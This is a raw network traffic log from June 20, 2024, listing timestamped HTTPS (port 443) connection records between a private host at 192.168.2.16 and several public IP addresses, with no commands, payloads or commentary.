Jun 20, 2024 13:54:20.929310083 CEST	49708	443	192.168.2.16	152.199.21.175
Jun 20, 2024 13:54:20.929330111 CEST	443	49708	152.199.21.175	192.168.2.16
Jun 20, 2024 13:54:20.976746082 CEST	49708	443	192.168.2.16	152.199.21.175
Jun 20, 2024 13:54:21.024069071 CEST	443	49703	13.107.246.43	192.168.2.16
Jun 20, 2024 13:54:21.024420023 CEST	443	49703	13.107.246.43	192.168.2.16
Jun 20, 2024 13:54:21.024525881 CEST	49703	443	192.168.2.16	13.107.246.43
Jun 20, 2024 13:54:21.028264046 CEST	49703	443	192.168.2.16	13.107.246.43
Jun 20, 2024 13:54:21.028301001 CEST	443	49703	13.107.246.43	192.168.2.16
Jun 20, 2024 13:54:21.040208101 CEST	49716	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.040296078 CEST	443	49716	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.040385962 CEST	49716	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.040581942 CEST	49716	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.040605068 CEST	443	49716	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.130280018 CEST	443	49702	192.229.133.221	192.168.2.16
Jun 20, 2024 13:54:21.142482996 CEST	443	49708	152.199.21.175	192.168.2.16
Jun 20, 2024 13:54:21.142585039 CEST	443	49708	152.199.21.175	192.168.2.16
Jun 20, 2024 13:54:21.142642975 CEST	49708	443	192.168.2.16	152.199.21.175
Jun 20, 2024 13:54:21.142680883 CEST	443	49708	152.199.21.175	192.168.2.16
Jun 20, 2024 13:54:21.143312931 CEST	443	49708	152.199.21.175	192.168.2.16
Jun 20, 2024 13:54:21.143378973 CEST	49708	443	192.168.2.16	152.199.21.175
Jun 20, 2024 13:54:21.146862030 CEST	49708	443	192.168.2.16	152.199.21.175
Jun 20, 2024 13:54:21.146899939 CEST	443	49708	152.199.21.175	192.168.2.16
Jun 20, 2024 13:54:21.146925926 CEST	49708	443	192.168.2.16	152.199.21.175
Jun 20, 2024 13:54:21.146969080 CEST	49708	443	192.168.2.16	152.199.21.175
Jun 20, 2024 13:54:21.179543018 CEST	443	49702	192.229.133.221	192.168.2.16
Jun 20, 2024 13:54:21.179577112 CEST	443	49702	192.229.133.221	192.168.2.16
Jun 20, 2024 13:54:21.179598093 CEST	443	49702	192.229.133.221	192.168.2.16
Jun 20, 2024 13:54:21.179635048 CEST	49702	443	192.168.2.16	192.229.133.221
Jun 20, 2024 13:54:21.179642916 CEST	443	49702	192.229.133.221	192.168.2.16
Jun 20, 2024 13:54:21.179662943 CEST	443	49702	192.229.133.221	192.168.2.16
Jun 20, 2024 13:54:21.179673910 CEST	49702	443	192.168.2.16	192.229.133.221
Jun 20, 2024 13:54:21.179692984 CEST	443	49702	192.229.133.221	192.168.2.16
Jun 20, 2024 13:54:21.179702997 CEST	49702	443	192.168.2.16	192.229.133.221
Jun 20, 2024 13:54:21.179717064 CEST	443	49702	192.229.133.221	192.168.2.16
Jun 20, 2024 13:54:21.179739952 CEST	49702	443	192.168.2.16	192.229.133.221
Jun 20, 2024 13:54:21.179773092 CEST	49702	443	192.168.2.16	192.229.133.221
Jun 20, 2024 13:54:21.191603899 CEST	49718	443	192.168.2.16	152.199.21.175
Jun 20, 2024 13:54:21.191641092 CEST	443	49718	152.199.21.175	192.168.2.16
Jun 20, 2024 13:54:21.191726923 CEST	49718	443	192.168.2.16	152.199.21.175
Jun 20, 2024 13:54:21.191962004 CEST	49718	443	192.168.2.16	152.199.21.175
Jun 20, 2024 13:54:21.191981077 CEST	443	49718	152.199.21.175	192.168.2.16
Jun 20, 2024 13:54:21.220860004 CEST	443	49702	192.229.133.221	192.168.2.16
Jun 20, 2024 13:54:21.220948935 CEST	49702	443	192.168.2.16	192.229.133.221
Jun 20, 2024 13:54:21.220982075 CEST	443	49702	192.229.133.221	192.168.2.16
Jun 20, 2024 13:54:21.221029043 CEST	443	49702	192.229.133.221	192.168.2.16
Jun 20, 2024 13:54:21.221043110 CEST	49702	443	192.168.2.16	192.229.133.221
Jun 20, 2024 13:54:21.221080065 CEST	49702	443	192.168.2.16	192.229.133.221
Jun 20, 2024 13:54:21.221477985 CEST	49702	443	192.168.2.16	192.229.133.221
Jun 20, 2024 13:54:21.221509933 CEST	443	49702	192.229.133.221	192.168.2.16
Jun 20, 2024 13:54:21.364726067 CEST	443	49711	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.365034103 CEST	49711	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.365057945 CEST	443	49711	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.366111040 CEST	443	49711	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.366177082 CEST	49711	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.366563082 CEST	49711	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.366625071 CEST	443	49711	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.366841078 CEST	49711	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.366848946 CEST	443	49711	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.417783022 CEST	49711	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.418029070 CEST	443	49712	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.419107914 CEST	49712	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.419167042 CEST	443	49712	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.422606945 CEST	443	49712	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.422683954 CEST	49712	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.423033953 CEST	49712	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.423094988 CEST	443	49712	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.423211098 CEST	49712	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.423228979 CEST	443	49712	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.441404104 CEST	443	49714	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.441689014 CEST	49714	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.441728115 CEST	443	49714	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.442703009 CEST	443	49714	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.442781925 CEST	49714	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.443062067 CEST	49714	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.443130016 CEST	443	49714	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.443212032 CEST	49714	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.443228960 CEST	443	49714	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.444516897 CEST	443	49713	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.444690943 CEST	49713	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.444708109 CEST	443	49713	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.445677042 CEST	443	49713	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.445754051 CEST	49713	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.446110964 CEST	49713	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.446173906 CEST	443	49713	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.446263075 CEST	49713	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.446276903 CEST	443	49713	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.464405060 CEST	443	49711	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.464440107 CEST	443	49711	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.464524031 CEST	443	49711	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.464529991 CEST	49711	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.464569092 CEST	49711	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.465795040 CEST	49711	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.465816975 CEST	443	49711	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.467997074 CEST	49712	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.496783018 CEST	49713	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.496783018 CEST	49714	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.523098946 CEST	443	49712	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.523149014 CEST	443	49712	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.523214102 CEST	49712	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.523252010 CEST	443	49712	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.523289919 CEST	443	49712	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.523345947 CEST	49712	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.523931980 CEST	49712	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.523964882 CEST	443	49712	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.546320915 CEST	443	49714	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.546390057 CEST	443	49714	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.546475887 CEST	49714	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.547106028 CEST	49714	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.547147989 CEST	443	49714	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.548227072 CEST	443	49713	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.548281908 CEST	443	49713	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.548336983 CEST	49713	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.548904896 CEST	49713	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.548921108 CEST	443	49713	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.688369036 CEST	443	49716	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.688663006 CEST	49716	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.688744068 CEST	443	49716	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.691900015 CEST	443	49716	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.691977024 CEST	49716	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.692255974 CEST	49716	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.692317963 CEST	443	49716	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.692385912 CEST	49716	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.692403078 CEST	443	49716	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.735785007 CEST	49716	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.789021015 CEST	443	49716	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.789078951 CEST	443	49716	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:21.789130926 CEST	49716	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.789819002 CEST	49716	443	192.168.2.16	13.107.246.60
Jun 20, 2024 13:54:21.789848089 CEST	443	49716	13.107.246.60	192.168.2.16
Jun 20, 2024 13:54:22.007915020 CEST	443	49718	152.199.21.175	192.168.2.16
Jun 20, 2024 13:54:22.008733988 CEST	49718	443	192.168.2.16	152.199.21.175
Jun 20, 2024 13:54:22.008755922 CEST	443	49718	152.199.21.175	192.168.2.16
Jun 20, 2024 13:54:22.011986971 CEST	443	49718	152.199.21.175	192.168.2.16
Jun 20, 2024 13:54:22.012068987 CEST	49718	443	192.168.2.16	152.199.21.175
Jun 20, 2024 13:54:22.014096975 CEST	49718	443	192.168.2.16	152.199.21.175
Jun 20, 2024 13:54:22.014175892 CEST	443	49718	152.199.21.175	192.168.2.16
Jun 20, 2024 13:54:22.014292955 CEST	49718	443	192.168.2.16	152.199.21.175
Jun 20, 2024 13:54:22.014302015 CEST	443	49718	152.199.21.175	192.168.2.16
Jun 20, 2024 13:54:22.053752899 CEST	49718	443	192.168.2.16	152.199.21.175
Jun 20, 2024 13:54:22.277805090 CEST	443	49718	152.199.21.175	192.168.2.16
Jun 20, 2024 13:54:22.277931929 CEST	443	49718	152.199.21.175	192.168.2.16
Jun 20, 2024 13:54:22.278073072 CEST	443	49718	152.199.21.175	192.168.2.16
Jun 20, 2024 13:54:22.278100967 CEST	49718	443	192.168.2.16	152.199.21.175
Jun 20, 2024 13:54:22.278140068 CEST	49718	443	192.168.2.16	152.199.21.175
Jun 20, 2024 13:54:22.278947115 CEST	49718	443	192.168.2.16	152.199.21.175
Jun 20, 2024 13:54:22.278976917 CEST	443	49718	152.199.21.175	192.168.2.16
Jun 20, 2024 13:54:23.609781027 CEST	49723	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:54:23.609872103 CEST	443	49723	142.250.186.100	192.168.2.16
Jun 20, 2024 13:54:23.609972954 CEST	49723	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:54:23.610240936 CEST	49723	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:54:23.610270977 CEST	443	49723	142.250.186.100	192.168.2.16
Jun 20, 2024 13:54:24.329860926 CEST	443	49723	142.250.186.100	192.168.2.16
Jun 20, 2024 13:54:24.330163002 CEST	49723	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:54:24.330209970 CEST	443	49723	142.250.186.100	192.168.2.16
Jun 20, 2024 13:54:24.331691980 CEST	443	49723	142.250.186.100	192.168.2.16
Jun 20, 2024 13:54:24.331788063 CEST	49723	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:54:24.332731009 CEST	49723	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:54:24.332820892 CEST	443	49723	142.250.186.100	192.168.2.16
Jun 20, 2024 13:54:24.381755114 CEST	49723	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:54:24.381778002 CEST	443	49723	142.250.186.100	192.168.2.16
Jun 20, 2024 13:54:24.429821968 CEST	49723	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:54:24.606080055 CEST	49673	443	192.168.2.16	204.79.197.203
Jun 20, 2024 13:54:24.908790112 CEST	49673	443	192.168.2.16	204.79.197.203
Jun 20, 2024 13:54:25.516808987 CEST	49673	443	192.168.2.16	204.79.197.203
Jun 20, 2024 13:54:26.725765944 CEST	49673	443	192.168.2.16	204.79.197.203
Jun 20, 2024 13:54:28.478904009 CEST	49728	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:28.478984118 CEST	443	49728	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:28.479113102 CEST	49728	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:28.479768038 CEST	49728	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:28.479799032 CEST	443	49728	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:28.624419928 CEST	49688	443	192.168.2.16	184.86.251.15
Jun 20, 2024 13:54:28.960768938 CEST	443	49728	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:28.961097956 CEST	49728	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:28.961117029 CEST	443	49728	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:28.962559938 CEST	443	49728	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:28.962641001 CEST	49728	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:28.963078976 CEST	49728	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:28.963167906 CEST	443	49728	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:28.963351011 CEST	49728	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:28.963361979 CEST	443	49728	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:29.015891075 CEST	49728	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:29.118073940 CEST	443	49728	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:29.118144989 CEST	443	49728	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:29.118283987 CEST	49728	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:29.118792057 CEST	49728	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:29.118827105 CEST	443	49728	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:29.118844986 CEST	49728	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:29.118885994 CEST	49728	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:29.120243073 CEST	49730	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:29.120281935 CEST	443	49730	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:29.120373964 CEST	49730	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:29.120670080 CEST	49730	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:29.120683908 CEST	443	49730	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:29.127775908 CEST	49673	443	192.168.2.16	204.79.197.203
Jun 20, 2024 13:54:29.588632107 CEST	443	49730	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:29.588998079 CEST	49730	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:29.589021921 CEST	443	49730	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:29.589468002 CEST	443	49730	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:29.589864016 CEST	49730	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:29.589941025 CEST	443	49730	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:29.590023994 CEST	49730	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:29.632507086 CEST	443	49730	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:29.744376898 CEST	443	49730	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:29.744450092 CEST	443	49730	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:29.744643927 CEST	49730	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:29.745281935 CEST	49730	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:29.745294094 CEST	443	49730	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:29.749177933 CEST	49731	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:29.749228001 CEST	443	49731	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:29.749336004 CEST	49731	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:29.750334024 CEST	49731	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:29.750353098 CEST	443	49731	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:29.751125097 CEST	49732	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:29.751138926 CEST	443	49732	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:29.751203060 CEST	49732	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:29.751714945 CEST	49733	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:29.751727104 CEST	443	49733	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:29.751782894 CEST	49733	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:29.752015114 CEST	49732	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:29.752027988 CEST	443	49732	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:29.752262115 CEST	49733	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:29.752278090 CEST	443	49733	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:29.768229008 CEST	49734	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:29.768248081 CEST	443	49734	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:29.768331051 CEST	49734	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:29.768565893 CEST	49734	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:29.768580914 CEST	443	49734	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:30.218170881 CEST	443	49733	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.218492031 CEST	49733	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.218561888 CEST	443	49733	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.219681978 CEST	443	49733	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.220000982 CEST	49733	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.220156908 CEST	49733	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.220185995 CEST	443	49733	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.221077919 CEST	443	49731	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.221329927 CEST	49731	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.221352100 CEST	443	49731	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.221816063 CEST	443	49731	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.222126961 CEST	49731	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.222222090 CEST	443	49731	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.222295046 CEST	49731	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.235708952 CEST	443	49732	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.235960007 CEST	49732	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.235980034 CEST	443	49732	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.236440897 CEST	443	49732	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.236730099 CEST	49732	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.236795902 CEST	443	49732	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.236962080 CEST	49732	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.251194954 CEST	443	49734	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:30.251420975 CEST	49734	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:30.251449108 CEST	443	49734	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:30.252295017 CEST	443	49734	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:30.252362967 CEST	49734	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:30.252610922 CEST	49734	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:30.252677917 CEST	443	49734	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:30.252712965 CEST	49734	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:30.268496990 CEST	443	49731	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.273755074 CEST	49733	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.284498930 CEST	443	49732	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.300491095 CEST	443	49734	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:30.305862904 CEST	49734	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:30.305933952 CEST	443	49734	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:30.353789091 CEST	49734	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:30.360116959 CEST	443	49731	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.360353947 CEST	443	49731	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.360414028 CEST	49731	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.360702991 CEST	49731	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.360738993 CEST	443	49731	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.360753059 CEST	49731	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.360814095 CEST	49731	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.361629009 CEST	49735	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.361687899 CEST	443	49735	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.361867905 CEST	49735	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.362071991 CEST	49735	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.362102032 CEST	443	49735	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.376677990 CEST	443	49733	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.376811981 CEST	443	49733	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.376892090 CEST	49733	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.377104998 CEST	49733	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.377124071 CEST	443	49733	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.377161026 CEST	49733	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.377190113 CEST	49733	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.377650023 CEST	49736	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.377672911 CEST	443	49736	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.377772093 CEST	49736	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.377949953 CEST	49736	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.377974987 CEST	443	49736	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.393207073 CEST	443	49732	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.393337965 CEST	443	49732	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.393394947 CEST	49732	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.393412113 CEST	49732	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.393419981 CEST	443	49732	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.393429041 CEST	49732	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.393481970 CEST	49732	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.408181906 CEST	443	49734	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:30.408232927 CEST	443	49734	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:30.408385992 CEST	49734	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:30.408752918 CEST	49734	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:30.408790112 CEST	443	49734	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:30.822289944 CEST	443	49735	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.822649956 CEST	49735	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.822720051 CEST	443	49735	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.823187113 CEST	443	49735	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.825058937 CEST	49735	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.825154066 CEST	443	49735	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.827683926 CEST	49735	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.837672949 CEST	443	49736	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.838690996 CEST	49736	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.838711023 CEST	443	49736	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.839178085 CEST	443	49736	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.841387987 CEST	49736	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.841470003 CEST	443	49736	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.843472004 CEST	49736	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:30.872544050 CEST	443	49735	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:30.884167910 CEST	49737	443	192.168.2.16	184.28.90.27
Jun 20, 2024 13:54:30.884227991 CEST	443	49737	184.28.90.27	192.168.2.16
Jun 20, 2024 13:54:30.884327888 CEST	49737	443	192.168.2.16	184.28.90.27
Jun 20, 2024 13:54:30.886337042 CEST	49737	443	192.168.2.16	184.28.90.27
Jun 20, 2024 13:54:30.886369944 CEST	443	49737	184.28.90.27	192.168.2.16
Jun 20, 2024 13:54:30.888498068 CEST	443	49736	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:31.005284071 CEST	443	49736	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:31.005503893 CEST	443	49736	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:31.005569935 CEST	49736	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:31.006177902 CEST	49736	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:31.006189108 CEST	443	49736	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:31.111241102 CEST	49738	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:31.111325979 CEST	443	49738	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:31.111417055 CEST	49738	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:31.111601114 CEST	49738	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:31.111635923 CEST	443	49738	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:31.451541901 CEST	49739	443	192.168.2.16	40.68.123.157
Jun 20, 2024 13:54:31.451565981 CEST	443	49739	40.68.123.157	192.168.2.16
Jun 20, 2024 13:54:31.451670885 CEST	49739	443	192.168.2.16	40.68.123.157
